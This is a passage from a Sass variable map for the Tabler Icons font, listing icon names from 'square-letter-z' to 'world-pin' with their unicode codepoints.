unicode('fdef');\n$ti-icon-square-letter-z: unicode('f493');\n$ti-icon-square-letter-z-filled: unicode('fdee');\n$ti-icon-square-minus: unicode('eb29');\n$ti-icon-square-minus-filled: unicode('fb3f');\n$ti-icon-square-number-0: unicode('eee5');\n$ti-icon-square-number-0-filled: unicode('f764');\n$ti-icon-square-number-1: unicode('eee6');\n$ti-icon-square-number-1-filled: unicode('f765');\n$ti-icon-square-number-2: unicode('eee7');\n$ti-icon-square-number-2-filled: unicode('f7fa');\n$ti-icon-square-number-3: unicode('eee8');\n$ti-icon-square-number-3-filled: unicode('f766');\n$ti-icon-square-number-4: unicode('eee9');\n$ti-icon-square-number-4-filled: unicode('f767');\n$ti-icon-square-number-5: unicode('eeea');\n$ti-icon-square-number-5-filled: unicode('f768');\n$ti-icon-square-number-6: unicode('eeeb');\n$ti-icon-square-number-6-filled: unicode('f769');\n$ti-icon-square-number-7: unicode('eeec');\n$ti-icon-square-number-7-filled: unicode('f76a');\n$ti-icon-square-number-8: unicode('eeed');\n$ti-icon-square-number-8-filled: unicode('f76b');\n$ti-icon-square-number-9: unicode('eeee');\n$ti-icon-square-number-9-filled: unicode('f76c');\n$ti-icon-square-off: unicode('eeef');\n$ti-icon-square-percentage: unicode('fd83');\n$ti-icon-square-plus: unicode('eb2a');\n$ti-icon-square-plus-2: unicode('fc96');\n$ti-icon-square-root: unicode('eef1');\n$ti-icon-square-root-2: unicode('eef0');\n$ti-icon-square-rotated: unicode('ecdf');\n$ti-icon-square-rotated-filled: unicode('f6a4');\n$ti-icon-square-rotated-forbid: unicode('f01c');\n$ti-icon-square-rotated-forbid-2: unicode('f01b');\n$ti-icon-square-rotated-off: unicode('eef2');\n$ti-icon-square-rounded: unicode('f59a');\n$ti-icon-square-rounded-arrow-down: unicode('f639');\n$ti-icon-square-rounded-arrow-down-filled: unicode('f6db');\n$ti-icon-square-rounded-arrow-left: unicode('f63a');\n$ti-icon-square-rounded-arrow-left-filled: unicode('f6dc');\n$ti-icon-square-rounded-arrow-right: unicode('f63b');\n$ti-icon-square-rounded-arrow-right-filled: unicode('f6dd');\n$ti-icon-square-rounded-arrow-up: unicode('f63c');\n$ti-icon-square-rounded-arrow-up-filled: unicode('f6de');\n$ti-icon-square-rounded-check: unicode('f63d');\n$ti-icon-square-rounded-check-filled: unicode('f6df');\n$ti-icon-square-rounded-chevron-down: unicode('f62b');\n$ti-icon-square-rounded-chevron-down-filled: unicode('f6e0');\n$ti-icon-square-rounded-chevron-left: unicode('f62c');\n$ti-icon-square-rounded-chevron-left-filled: unicode('f6e1');\n$ti-icon-square-rounded-chevron-right: unicode('f62d');\n$ti-icon-square-rounded-chevron-right-filled: unicode('f6e2');\n$ti-icon-square-rounded-chevron-up: unicode('f62e');\n$ti-icon-square-rounded-chevron-up-filled: unicode('f6e3');\n$ti-icon-square-rounded-chevrons-down: unicode('f64f');\n$ti-icon-square-rounded-chevrons-down-filled: unicode('f6e4');\n$ti-icon-square-rounded-chevrons-left: unicode('f650');\n$ti-icon-square-rounded-chevrons-left-filled: unicode('f6e5');\n$ti-icon-square-rounded-chevrons-right: unicode('f651');\n$ti-icon-square-rounded-chevrons-right-filled: unicode('f6e6');\n$ti-icon-square-rounded-chevrons-up: unicode('f652');\n$ti-icon-square-rounded-chevrons-up-filled: unicode('f6e7');\n$ti-icon-square-rounded-filled: unicode('f6a5');\n$ti-icon-square-rounded-letter-a: unicode('f5ae');\n$ti-icon-square-rounded-letter-a-filled: unicode('fded');\n$ti-icon-square-rounded-letter-b: unicode('f5af');\n$ti-icon-square-rounded-letter-b-filled: unicode('fdec');\n$ti-icon-square-rounded-letter-c: unicode('f5b0');\n$ti-icon-square-rounded-letter-c-filled: unicode('fdeb');\n$ti-icon-square-rounded-letter-d: unicode('f5b1');\n$ti-icon-square-rounded-letter-d-filled: unicode('fdea');\n$ti-icon-square-rounded-letter-e: unicode('f5b2');\n$ti-icon-square-rounded-letter-e-filled: unicode('fde9');\n$ti-icon-square-rounded-letter-f: unicode('f5b3');\n$ti-icon-square-rounded-letter-f-filled: unicode('fde8');\n$ti-icon-square-rounded-letter-g: unicode('f5b4');\n$ti-icon-square-rounded-letter-g-filled: unicode('fde7');\n$ti-icon-square-rounded-letter-h: unicode('f5b5');\n$ti-icon-square-rounded-letter-h-filled: unicode('fde6');\n$ti-icon-square-rounded-letter-i: unicode('f5b6');\n$ti-icon-square-rounded-letter-i-filled: unicode('fde5');\n$ti-icon-square-rounded-letter-j: unicode('f5b7');\n$ti-icon-square-rounded-letter-j-filled: unicode('fde4');\n$ti-icon-square-rounded-letter-k: unicode('f5b8');\n$ti-icon-square-rounded-letter-k-filled: unicode('fde3');\n$ti-icon-square-rounded-letter-l: unicode('f5b9');\n$ti-icon-square-rounded-letter-l-filled: unicode('fde2');\n$ti-icon-square-rounded-letter-m: unicode('f5ba');\n$ti-icon-square-rounded-letter-m-filled: unicode('fde1');\n$ti-icon-square-rounded-letter-n: unicode('f5bb');\n$ti-icon-square-rounded-letter-n-filled: unicode('fde0');\n$ti-icon-square-rounded-letter-o: unicode('f5bc');\n$ti-icon-square-rounded-letter-o-filled: unicode('fddf');\n$ti-icon-square-rounded-letter-p: unicode('f5bd');\n$ti-icon-square-rounded-letter-p-filled: unicode('fdde');\n$ti-icon-square-rounded-letter-q: unicode('f5be');\n$ti-icon-square-rounded-letter-q-filled: unicode('fddd');\n$ti-icon-square-rounded-letter-r: unicode('f5bf');\n$ti-icon-square-rounded-letter-r-filled: unicode('fddc');\n$ti-icon-square-rounded-letter-s: unicode('f5c0');\n$ti-icon-square-rounded-letter-s-filled: unicode('fddb');\n$ti-icon-square-rounded-letter-t: unicode('f5c1');\n$ti-icon-square-rounded-letter-t-filled: unicode('fdda');\n$ti-icon-square-rounded-letter-u: unicode('f5c2');\n$ti-icon-square-rounded-letter-u-filled: unicode('fdd9');\n$ti-icon-square-rounded-letter-v: unicode('f5c3');\n$ti-icon-square-rounded-letter-v-filled: unicode('fdd8');\n$ti-icon-square-rounded-letter-w: unicode('f5c4');\n$ti-icon-square-rounded-letter-w-filled: unicode('fdd7');\n$ti-icon-square-rounded-letter-x: unicode('f5c5');\n$ti-icon-square-rounded-letter-x-filled: unicode('fdd6');\n$ti-icon-square-rounded-letter-y: unicode('f5c6');\n$ti-icon-square-rounded-letter-y-filled: unicode('fdd5');\n$ti-icon-square-rounded-letter-z: unicode('f5c7');\n$ti-icon-square-rounded-letter-z-filled: unicode('fdd4');\n$ti-icon-square-rounded-minus: unicode('f63e');\n$ti-icon-square-rounded-minus-2: unicode('fc97');\n$ti-icon-square-rounded-minus-filled: unicode('fb40');\n$ti-icon-square-rounded-number-0: unicode('f5c8');\n$ti-icon-square-rounded-number-0-filled: unicode('f778');\n$ti-icon-square-rounded-number-1: unicode('f5c9');\n$ti-icon-square-rounded-number-1-filled: unicode('f779');\n$ti-icon-square-rounded-number-2: unicode('f5ca');\n$ti-icon-square-rounded-number-2-filled: unicode('f77a');\n$ti-icon-square-rounded-number-3: unicode('f5cb');\n$ti-icon-square-rounded-number-3-filled: unicode('f77b');\n$ti-icon-square-rounded-number-4: unicode('f5cc');\n$ti-icon-square-rounded-number-4-filled: unicode('f77c');\n$ti-icon-square-rounded-number-5: unicode('f5cd');\n$ti-icon-square-rounded-number-5-filled: unicode('f77d');\n$ti-icon-square-rounded-number-6: unicode('f5ce');\n$ti-icon-square-rounded-number-6-filled: unicode('f77e');\n$ti-icon-square-rounded-number-7: unicode('f5cf');\n$ti-icon-square-rounded-number-7-filled: unicode('f77f');\n$ti-icon-square-rounded-number-8: unicode('f5d0');\n$ti-icon-square-rounded-number-8-filled: unicode('f780');\n$ti-icon-square-rounded-number-9: unicode('f5d1');\n$ti-icon-square-rounded-number-9-filled: unicode('f781');\n$ti-icon-square-rounded-percentage: unicode('fd84');\n$ti-icon-square-rounded-plus: unicode('f63f');\n$ti-icon-square-rounded-plus-2: unicode('fc98');\n$ti-icon-square-rounded-plus-filled: unicode('f6e8');\n$ti-icon-square-rounded-x: unicode('f640');\n$ti-icon-square-rounded-x-filled: unicode('f6e9');\n$ti-icon-square-toggle: unicode('eef4');\n$ti-icon-square-toggle-horizontal: unicode('eef3');\n$ti-icon-square-x: unicode('eb2b');\n$ti-icon-square-x-filled: unicode('fb41');\n$ti-icon-squares: unicode('eef6');\n$ti-icon-squares-diagonal: unicode('eef5');\n$ti-icon-squares-filled: unicode('fe9f');\n$ti-icon-stack: unicode('eb2d');\n$ti-icon-stack-2: unicode('eef7');\n$ti-icon-stack-2-filled: unicode('fdd3');\n$ti-icon-stack-3: unicode('ef9d');\n$ti-icon-stack-3-filled: unicode('fdd2');\n$ti-icon-stack-back: unicode('fd26');\n$ti-icon-stack-backward: unicode('fd27');\n$ti-icon-stack-filled: unicode('fdd1');\n$ti-icon-stack-forward: unicode('fd28');\n$ti-icon-stack-front: unicode('fd29');\n$ti-icon-stack-middle: unicode('fd2a');\n$ti-icon-stack-pop: unicode('f234');\n$ti-icon-stack-push: unicode('f235');\n$ti-icon-stairs: unicode('eca6');\n$ti-icon-stairs-down: unicode('eca4');\n$ti-icon-stairs-up: unicode('eca5');\n$ti-icon-star: unicode('eb2e');\n$ti-icon-star-filled: unicode('f6a6');\n$ti-icon-star-half: unicode('ed19');\n$ti-icon-star-half-filled: unicode('f6a7');\n$ti-icon-star-off: unicode('ed62');\n$ti-icon-stars: unicode('ed38');\n$ti-icon-stars-filled: unicode('f6a8');\n$ti-icon-stars-off: unicode('f430');\n$ti-icon-status-change: unicode('f3b0');\n$ti-icon-steam: unicode('f24b');\n$ti-icon-steering-wheel: unicode('ec7b');\n$ti-icon-steering-wheel-off: unicode('f431');\n$ti-icon-step-into: unicode('ece0');\n$ti-icon-step-out: unicode('ece1');\n$ti-icon-stereo-glasses: unicode('f4cb');\n$ti-icon-stethoscope: unicode('edbe');\n$ti-icon-stethoscope-off: unicode('f432');\n$ti-icon-sticker: unicode('eb2f');\n$ti-icon-sticker-2: unicode('fd3d');\n$ti-icon-storm: unicode('f24c');\n$ti-icon-storm-off: unicode('f433');\n$ti-icon-stretching: unicode('f2db');\n$ti-icon-stretching-2: unicode('fa6d');\n$ti-icon-strikethrough: unicode('eb9e');\n$ti-icon-submarine: unicode('ed94');\n$ti-icon-subscript: unicode('eb9f');\n$ti-icon-subtask: unicode('ec9f');\n$ti-icon-sum: unicode('eb73');\n$ti-icon-sum-off: unicode('f1ab');\n$ti-icon-sun: unicode('eb30');\n$ti-icon-sun-electricity: unicode('fcc2');\n$ti-icon-sun-filled: unicode('f6a9');\n$ti-icon-sun-high: unicode('f236');\n$ti-icon-sun-low: unicode('f237');\n$ti-icon-sun-moon: unicode('f4a3');\n$ti-icon-sun-off: unicode('ed63');\n$ti-icon-sun-wind: unicode('f238');\n$ti-icon-sunglasses: unicode('f239');\n$ti-icon-sunrise: unicode('ef1c');\n$ti-icon-sunset: unicode('ec31');\n$ti-icon-sunset-2: unicode('f23a');\n$ti-icon-superscript: unicode('eba0');\n$ti-icon-svg: unicode('f25a');\n$ti-icon-swimming: unicode('ec92');\n$ti-icon-swipe: unicode('f551');\n$ti-icon-swipe-down: unicode('fd5e');\n$ti-icon-swipe-left: unicode('fd5f');\n$ti-icon-swipe-right: unicode('fd60');\n$ti-icon-swipe-up: unicode('fd61');\n$ti-icon-switch: unicode('eb33');\n$ti-icon-switch-2: unicode('edbf');\n$ti-icon-switch-3: unicode('edc0');\n$ti-icon-switch-horizontal: unicode('eb31');\n$ti-icon-switch-vertical: unicode('eb32');\n$ti-icon-sword: unicode('f030');\n$ti-icon-sword-off: unicode('f434');\n$ti-icon-swords: unicode('f132');\n$ti-icon-table: unicode('eba1');\n$ti-icon-table-alias: unicode('f25b');\n$ti-icon-table-column: unicode('faff');\n$ti-icon-table-down: unicode('fa1c');\n$ti-icon-table-export: unicode('eef8');\n$ti-icon-table-filled: unicode('f782');\n$ti-icon-table-heart: unicode('fa1d');\n$ti-icon-table-import: unicode('eef9');\n$ti-icon-table-minus: unicode('fa1e');\n$ti-icon-table-off: unicode('eefa');\n$ti-icon-table-options: unicode('f25c');\n$ti-icon-table-plus: unicode('fa1f');\n$ti-icon-table-row: unicode('fb00');\n$ti-icon-table-share: unicode('fa20');\n$ti-icon-table-shortcut: unicode('f25d');\n$ti-icon-tag: unicode('eb34');\n$ti-icon-tag-off: unicode('efc0');\n$ti-icon-tag-starred: unicode('fc99');\n$ti-icon-tags: unicode('ef86');\n$ti-icon-tags-off: unicode('efc1');\n$ti-icon-tallymark-1: unicode('ec46');\n$ti-icon-tallymark-2: unicode('ec47');\n$ti-icon-tallymark-3: unicode('ec48');\n$ti-icon-tallymark-4: unicode('ec49');\n$ti-icon-tallymarks: unicode('ec4a');\n$ti-icon-tank: unicode('ed95');\n$ti-icon-target: unicode('eb35');\n$ti-icon-target-arrow: unicode('f51a');\n$ti-icon-target-off: unicode('f1ad');\n$ti-icon-teapot: unicode('f552');\n$ti-icon-telescope: unicode('f07d');\n$ti-icon-telescope-off: unicode('f1ae');\n$ti-icon-temperature: unicode('eb38');\n$ti-icon-temperature-celsius: unicode('eb36');\n$ti-icon-temperature-fahrenheit: unicode('eb37');\n$ti-icon-temperature-minus: unicode('ebed');\n$ti-icon-temperature-off: unicode('f1af');\n$ti-icon-temperature-plus: unicode('ebee');\n$ti-icon-temperature-snow: unicode('fda3');\n$ti-icon-temperature-sun: unicode('fda4');\n$ti-icon-template: unicode('eb39');\n$ti-icon-template-off: unicode('f1b0');\n$ti-icon-tent: unicode('eefb');\n$ti-icon-tent-off: unicode('f435');\n$ti-icon-terminal: unicode('ebdc');\n$ti-icon-terminal-2: unicode('ebef');\n$ti-icon-test-pipe: unicode('eb3a');\n$ti-icon-test-pipe-2: unicode('f0a4');\n$ti-icon-test-pipe-off: unicode('f1b1');\n$ti-icon-tex: unicode('f4e0');\n$ti-icon-text-caption: unicode('f4a4');\n$ti-icon-text-color: unicode('f2dc');\n$ti-icon-text-decrease: unicode('f202');\n$ti-icon-text-direction-ltr: unicode('eefc');\n$ti-icon-text-direction-rtl: unicode('eefd');\n$ti-icon-text-grammar: unicode('fd6d');\n$ti-icon-text-increase: unicode('f203');\n$ti-icon-text-orientation: unicode('f2a4');\n$ti-icon-text-plus: unicode('f2a5');\n$ti-icon-text-recognition: unicode('f204');\n$ti-icon-text-resize: unicode('ef87');\n$ti-icon-text-scan-2: unicode('fcc3');\n$ti-icon-text-size: unicode('f2b1');\n$ti-icon-text-spellcheck: unicode('f2a6');\n$ti-icon-text-wrap: unicode('ebdd');\n$ti-icon-text-wrap-disabled: unicode('eca7');\n$ti-icon-texture: unicode('f51b');\n$ti-icon-theater: unicode('f79b');\n$ti-icon-thermometer: unicode('ef67');\n$ti-icon-thumb-down: unicode('eb3b');\n$ti-icon-thumb-down-filled: unicode('f6aa');\n$ti-icon-thumb-down-off: unicode('f436');\n$ti-icon-thumb-up: unicode('eb3c');\n$ti-icon-thumb-up-filled: unicode('f6ab');\n$ti-icon-thumb-up-off: unicode('f437');\n$ti-icon-tic-tac: unicode('f51c');\n$ti-icon-ticket: unicode('eb3d');\n$ti-icon-ticket-off: unicode('f1b2');\n$ti-icon-tie: unicode('f07e');\n$ti-icon-tilde: unicode('f4a5');\n$ti-icon-tilt-shift: unicode('eefe');\n$ti-icon-tilt-shift-off: unicode('f1b3');\n$ti-icon-time-duration-0: unicode('fad4');\n$ti-icon-time-duration-10: unicode('fad5');\n$ti-icon-time-duration-15: unicode('fad6');\n$ti-icon-time-duration-30: unicode('fad7');\n$ti-icon-time-duration-45: unicode('fad8');\n$ti-icon-time-duration-5: unicode('fad9');\n$ti-icon-time-duration-60: unicode('fada');\n$ti-icon-time-duration-90: unicode('fadb');\n$ti-icon-time-duration-off: unicode('fadc');\n$ti-icon-timeline: unicode('f031');\n$ti-icon-timeline-event: unicode('f553');\n$ti-icon-timeline-event-exclamation: unicode('f662');\n$ti-icon-timeline-event-filled: unicode('fd18');\n$ti-icon-timeline-event-minus: unicode('f663');\n$ti-icon-timeline-event-plus: unicode('f664');\n$ti-icon-timeline-event-text: unicode('f665');\n$ti-icon-timeline-event-x: unicode('f666');\n$ti-icon-tir: unicode('ebf0');\n$ti-icon-toggle-left: unicode('eb3e');\n$ti-icon-toggle-right: unicode('eb3f');\n$ti-icon-toilet-paper: unicode('efd3');\n$ti-icon-toilet-paper-off: unicode('f1b4');\n$ti-icon-toml: unicode('fa5d');\n$ti-icon-tool: unicode('eb40');\n$ti-icon-tools: unicode('ebca');\n$ti-icon-tools-kitchen: unicode('ed64');\n$ti-icon-tools-kitchen-2: unicode('eeff');\n$ti-icon-tools-kitchen-2-off: unicode('f1b5');\n$ti-icon-tools-kitchen-3: unicode('fd2b');\n$ti-icon-tools-kitchen-off: unicode('f1b6');\n$ti-icon-tools-off: unicode('f1b7');\n$ti-icon-tooltip: unicode('f2dd');\n$ti-icon-topology-bus: unicode('f5d9');\n$ti-icon-topology-complex: unicode('f5da');\n$ti-icon-topology-full: unicode('f5dc');\n$ti-icon-topology-full-hierarchy: unicode('f5db');\n$ti-icon-topology-ring: unicode('f5df');\n$ti-icon-topology-ring-2: unicode('f5dd');\n$ti-icon-topology-ring-3: unicode('f5de');\n$ti-icon-topology-star: unicode('f5e5');\n$ti-icon-topology-star-2: unicode('f5e0');\n$ti-icon-topology-star-3: unicode('f5e1');\n$ti-icon-topology-star-ring: unicode('f5e4');\n$ti-icon-topology-star-ring-2: unicode('f5e2');\n$ti-icon-topology-star-ring-3: unicode('f5e3');\n$ti-icon-torii: unicode('f59b');\n$ti-icon-tornado: unicode('ece2');\n$ti-icon-tournament: unicode('ecd0');\n$ti-icon-tower: unicode('f2cb');\n$ti-icon-tower-off: unicode('f2ca');\n$ti-icon-track: unicode('ef00');\n$ti-icon-tractor: unicode('ec0d');\n$ti-icon-trademark: unicode('ec0e');\n$ti-icon-traffic-cone: unicode('ec0f');\n$ti-icon-traffic-cone-off: unicode('f1b8');\n$ti-icon-traffic-lights: unicode('ed39');\n$ti-icon-traffic-lights-off: unicode('f1b9');\n$ti-icon-train: unicode('ed96');\n$ti-icon-transaction-bitcoin: unicode('fd6e');\n$ti-icon-transaction-dollar: unicode('fd6f');\n$ti-icon-transaction-euro: unicode('fd70');\n$ti-icon-transaction-pound: unicode('fd71');\n$ti-icon-transaction-rupee: unicode('fd85');\n$ti-icon-transaction-yen: unicode('fd72');\n$ti-icon-transaction-yuan: unicode('fd73');\n$ti-icon-transfer: unicode('fc1f');\n$ti-icon-transfer-in: unicode('ef2f');\n$ti-icon-transfer-out: unicode('ef30');\n$ti-icon-transfer-vertical: unicode('fc1e');\n$ti-icon-transform: unicode('f38e');\n$ti-icon-transform-filled: unicode('f6ac');\n$ti-icon-transform-point: unicode('fda9');\n$ti-icon-transform-point-bottom-left: unicode('fda5');\n$ti-icon-transform-point-bottom-right: unicode('fda6');\n$ti-icon-transform-point-top-left: unicode('fda7');\n$ti-icon-transform-point-top-right: unicode('fda8');\n$ti-icon-transition-bottom: unicode('f2b2');\n$ti-icon-transition-bottom-filled: unicode('fdd0');\n$ti-icon-transition-left: unicode('f2b3');\n$ti-icon-transition-left-filled: unicode('fdcf');\n$ti-icon-transition-right: unicode('f2b4');\n$ti-icon-transition-right-filled: unicode('fdce');\n$ti-icon-transition-top: unicode('f2b5');\n$ti-icon-transition-top-filled: unicode('fdcd');\n$ti-icon-trash: unicode('eb41');\n$ti-icon-trash-filled: unicode('f783');\n$ti-icon-trash-off: unicode('ed65');\n$ti-icon-trash-x: unicode('ef88');\n$ti-icon-trash-x-filled: unicode('f784');\n$ti-icon-treadmill: unicode('fa6e');\n$ti-icon-tree: unicode('ef01');\n$ti-icon-trees: unicode('ec10');\n$ti-icon-trekking: unicode('f5ad');\n$ti-icon-trending-down: unicode('eb42');\n$ti-icon-trending-down-2: unicode('edc1');\n$ti-icon-trending-down-3: unicode('edc2');\n$ti-icon-trending-up: unicode('eb43');\n$ti-icon-trending-up-2: unicode('edc3');\n$ti-icon-trending-up-3: unicode('edc4');\n$ti-icon-triangle: unicode('eb44');\n$ti-icon-triangle-filled: unicode('f6ad');\n$ti-icon-triangle-inverted: unicode('f01d');\n$ti-icon-triangle-inverted-filled: unicode('f6ae');\n$ti-icon-triangle-minus: unicode('fc9b');\n$ti-icon-triangle-minus-2: unicode('fc9a');\n$ti-icon-triangle-off: unicode('ef02');\n$ti-icon-triangle-plus: unicode('fc9d');\n$ti-icon-triangle-plus-2: unicode('fc9c');\n$ti-icon-triangle-square-circle: unicode('ece8');\n$ti-icon-triangle-square-circle-filled: unicode('fb42');\n$ti-icon-triangles: unicode('f0a5');\n$ti-icon-trident: unicode('ecc5');\n$ti-icon-trolley: unicode('f4cc');\n$ti-icon-trophy: unicode('eb45');\n$ti-icon-trophy-filled: unicode('f6af');\n$ti-icon-trophy-off: unicode('f438');\n$ti-icon-trowel: unicode('f368');\n$ti-icon-truck: unicode('ebc4');\n$ti-icon-truck-delivery: unicode('ec4b');\n$ti-icon-truck-loading: unicode('f1da');\n$ti-icon-truck-off: unicode('ef03');\n$ti-icon-truck-return: unicode('ec4c');\n$ti-icon-txt: unicode('f3b1');\n$ti-icon-typeface: unicode('fdab');\n$ti-icon-typography: unicode('ebc5');\n$ti-icon-typography-off: unicode('f1ba');\n$ti-icon-ufo: unicode('f26f');\n$ti-icon-ufo-off: unicode('f26e');\n$ti-icon-umbrella: unicode('ebf1');\n$ti-icon-umbrella-filled: unicode('f6b0');\n$ti-icon-umbrella-off: unicode('f1bb');\n$ti-icon-underline: unicode('eba2');\n$ti-icon-universe: unicode('fcc4');\n$ti-icon-unlink: unicode('eb46');\n$ti-icon-upload: unicode('eb47');\n$ti-icon-urgent: unicode('eb48');\n$ti-icon-usb: unicode('f00c');\n$ti-icon-user: unicode('eb4d');\n$ti-icon-user-bolt: unicode('f9d1');\n$ti-icon-user-cancel: unicode('f9d2');\n$ti-icon-user-check: unicode('eb49');\n$ti-icon-user-circle: unicode('ef68');\n$ti-icon-user-code: unicode('f9d3');\n$ti-icon-user-cog: unicode('f9d4');\n$ti-icon-user-dollar: unicode('f9d5');\n$ti-icon-user-down: unicode('f9d6');\n$ti-icon-user-edit: unicode('f7cc');\n$ti-icon-user-exclamation: unicode('ec12');\n$ti-icon-user-filled: unicode('fd19');\n$ti-icon-user-heart: unicode('f7cd');\n$ti-icon-user-hexagon: unicode('fc4e');\n$ti-icon-user-minus: unicode('eb4a');\n$ti-icon-user-off: unicode('ecf9');\n$ti-icon-user-pause: unicode('f9d7');\n$ti-icon-user-pentagon: unicode('fc4f');\n$ti-icon-user-pin: unicode('f7ce');\n$ti-icon-user-plus: unicode('eb4b');\n$ti-icon-user-question: unicode('f7cf');\n$ti-icon-user-scan: unicode('fcaf');\n$ti-icon-user-search: unicode('ef89');\n$ti-icon-user-share: unicode('f9d8');\n$ti-icon-user-shield: unicode('f7d0');\n$ti-icon-user-square: unicode('fc51');\n$ti-icon-user-square-rounded: unicode('fc50');\n$ti-icon-user-star: unicode('f7d1');\n$ti-icon-user-up: unicode('f7d2');\n$ti-icon-user-x: unicode('eb4c');\n$ti-icon-users: unicode('ebf2');\n$ti-icon-users-group: unicode('fa21');\n$ti-icon-users-minus: unicode('fa0e');\n$ti-icon-users-plus: unicode('fa0f');\n$ti-icon-uv-index: unicode('f3b2');\n$ti-icon-ux-circle: unicode('f369');\n$ti-icon-vaccine: unicode('ef04');\n$ti-icon-vaccine-bottle: unicode('ef69');\n$ti-icon-vaccine-bottle-off: unicode('f439');\n$ti-icon-vaccine-off: unicode('f1bc');\n$ti-icon-vacuum-cleaner: unicode('f5e6');\n$ti-icon-variable: unicode('ef05');\n$ti-icon-variable-minus: unicode('f36a');\n$ti-icon-variable-off: unicode('f1bd');\n$ti-icon-variable-plus: unicode('f36b');\n$ti-icon-vector: unicode('eca9');\n$ti-icon-vector-bezier: unicode('ef1d');\n$ti-icon-vector-bezier-2: unicode('f1a3');\n$ti-icon-vector-bezier-arc: unicode('f4cd');\n$ti-icon-vector-bezier-circle: unicode('f4ce');\n$ti-icon-vector-off: unicode('f1be');\n$ti-icon-vector-spline: unicode('f565');\n$ti-icon-vector-triangle: unicode('eca8');\n$ti-icon-vector-triangle-off: unicode('f1bf');\n$ti-icon-venus: unicode('ec86');\n$ti-icon-versions: unicode('ed52');\n$ti-icon-versions-filled: unicode('f6b1');\n$ti-icon-versions-off: unicode('f1c0');\n$ti-icon-video: unicode('ed22');\n$ti-icon-video-minus: unicode('ed1f');\n$ti-icon-video-off: unicode('ed20');\n$ti-icon-video-plus: unicode('ed21');\n$ti-icon-view-360: unicode('ed84');\n$ti-icon-view-360-arrow: unicode('f62f');\n$ti-icon-view-360-number: unicode('f566');\n$ti-icon-view-360-off: unicode('f1c1');\n$ti-icon-viewfinder: unicode('eb4e');\n$ti-icon-viewfinder-off: unicode('f1c2');\n$ti-icon-viewport-narrow: unicode('ebf3');\n$ti-icon-viewport-wide: unicode('ebf4');\n$ti-icon-vinyl: unicode('f00d');\n$ti-icon-vip: unicode('f3b3');\n$ti-icon-vip-off: unicode('f43a');\n$ti-icon-virus: unicode('eb74');\n$ti-icon-virus-off: unicode('ed66');\n$ti-icon-virus-search: unicode('ed67');\n$ti-icon-vocabulary: unicode('ef1e');\n$ti-icon-vocabulary-off: unicode('f43b');\n$ti-icon-volcano: unicode('f79c');\n$ti-icon-volume: unicode('eb51');\n$ti-icon-volume-2: unicode('eb4f');\n$ti-icon-volume-3: unicode('eb50');\n$ti-icon-volume-off: unicode('f1c3');\n$ti-icon-vs: unicode('fc52');\n$ti-icon-walk: unicode('ec87');\n$ti-icon-wall: unicode('ef7a');\n$ti-icon-wall-off: unicode('f43c');\n$ti-icon-wallet: unicode('eb75');\n$ti-icon-wallet-off: unicode('f1c4');\n$ti-icon-wallpaper: unicode('ef56');\n$ti-icon-wallpaper-off: unicode('f1c5');\n$ti-icon-wand: unicode('ebcb');\n$ti-icon-wand-off: unicode('f1c6');\n$ti-icon-wash: unicode('f311');\n$ti-icon-wash-dry: unicode('f304');\n$ti-icon-wash-dry-1: unicode('f2fa');\n$ti-icon-wash-dry-2: unicode('f2fb');\n$ti-icon-wash-dry-3: unicode('f2fc');\n$ti-icon-wash-dry-a: unicode('f2fd');\n$ti-icon-wash-dry-dip: unicode('f2fe');\n$ti-icon-wash-dry-f: unicode('f2ff');\n$ti-icon-wash-dry-flat: unicode('fa7f');\n$ti-icon-wash-dry-hang: unicode('f300');\n$ti-icon-wash-dry-off: unicode('f301');\n$ti-icon-wash-dry-p: unicode('f302');\n$ti-icon-wash-dry-shade: unicode('f303');\n$ti-icon-wash-dry-w: unicode('f322');\n$ti-icon-wash-dryclean: unicode('f305');\n$ti-icon-wash-dryclean-off: unicode('f323');\n$ti-icon-wash-eco: unicode('fa80');\n$ti-icon-wash-gentle: unicode('f306');\n$ti-icon-wash-hand: unicode('fa81');\n$ti-icon-wash-machine: unicode('f25e');\n$ti-icon-wash-off: unicode('f307');\n$ti-icon-wash-press: unicode('f308');\n$ti-icon-wash-temperature-1: unicode('f309');\n$ti-icon-wash-temperature-2: unicode('f30a');\n$ti-icon-wash-temperature-3: unicode('f30b');\n$ti-icon-wash-temperature-4: unicode('f30c');\n$ti-icon-wash-temperature-5: unicode('f30d');\n$ti-icon-wash-temperature-6: unicode('f30e');\n$ti-icon-wash-tumble-dry: unicode('f30f');\n$ti-icon-wash-tumble-off: unicode('f310');\n$ti-icon-waterpolo: unicode('fa6f');\n$ti-icon-wave-saw-tool: unicode('ecd3');\n$ti-icon-wave-sine: unicode('ecd4');\n$ti-icon-wave-square: unicode('ecd5');\n$ti-icon-waves-electricity: unicode('fcc5');\n$ti-icon-webhook: unicode('f01e');\n$ti-icon-webhook-off: unicode('f43d');\n$ti-icon-weight: unicode('f589');\n$ti-icon-wheel: unicode('fc64');\n$ti-icon-wheelchair: unicode('f1db');\n$ti-icon-wheelchair-off: unicode('f43e');\n$ti-icon-whirl: unicode('f51d');\n$ti-icon-wifi: unicode('eb52');\n$ti-icon-wifi-0: unicode('eba3');\n$ti-icon-wifi-1: unicode('eba4');\n$ti-icon-wifi-2: unicode('eba5');\n$ti-icon-wifi-off: unicode('ecfa');\n$ti-icon-wind: unicode('ec34');\n$ti-icon-wind-electricity: unicode('fcc6');\n$ti-icon-wind-off: unicode('f1c7');\n$ti-icon-windmill: unicode('ed85');\n$ti-icon-windmill-filled: unicode('f6b2');\n$ti-icon-windmill-off: unicode('f1c8');\n$ti-icon-window: unicode('ef06');\n$ti-icon-window-maximize: unicode('f1f1');\n$ti-icon-window-minimize: unicode('f1f2');\n$ti-icon-window-off: unicode('f1c9');\n$ti-icon-windsock: unicode('f06d');\n$ti-icon-wiper: unicode('ecab');\n$ti-icon-wiper-wash: unicode('ecaa');\n$ti-icon-woman: unicode('eb53');\n$ti-icon-woman-filled: unicode('fdcc');\n$ti-icon-wood: unicode('f359');\n$ti-icon-world: unicode('eb54');\n$ti-icon-world-bolt: unicode('f9d9');\n$ti-icon-world-cancel: unicode('f9da');\n$ti-icon-world-check: unicode('f9db');\n$ti-icon-world-code: unicode('f9dc');\n$ti-icon-world-cog: unicode('f9dd');\n$ti-icon-world-dollar: unicode('f9de');\n$ti-icon-world-down: unicode('f9df');\n$ti-icon-world-download: unicode('ef8a');\n$ti-icon-world-exclamation: unicode('f9e0');\n$ti-icon-world-heart: unicode('f9e1');\n$ti-icon-world-latitude: unicode('ed2e');\n$ti-icon-world-longitude: unicode('ed2f');\n$ti-icon-world-minus: unicode('f9e2');\n$ti-icon-world-off: unicode('f1ca');\n$ti-icon-world-pause: unicode('f9e3');\n$ti-icon-world-pin: 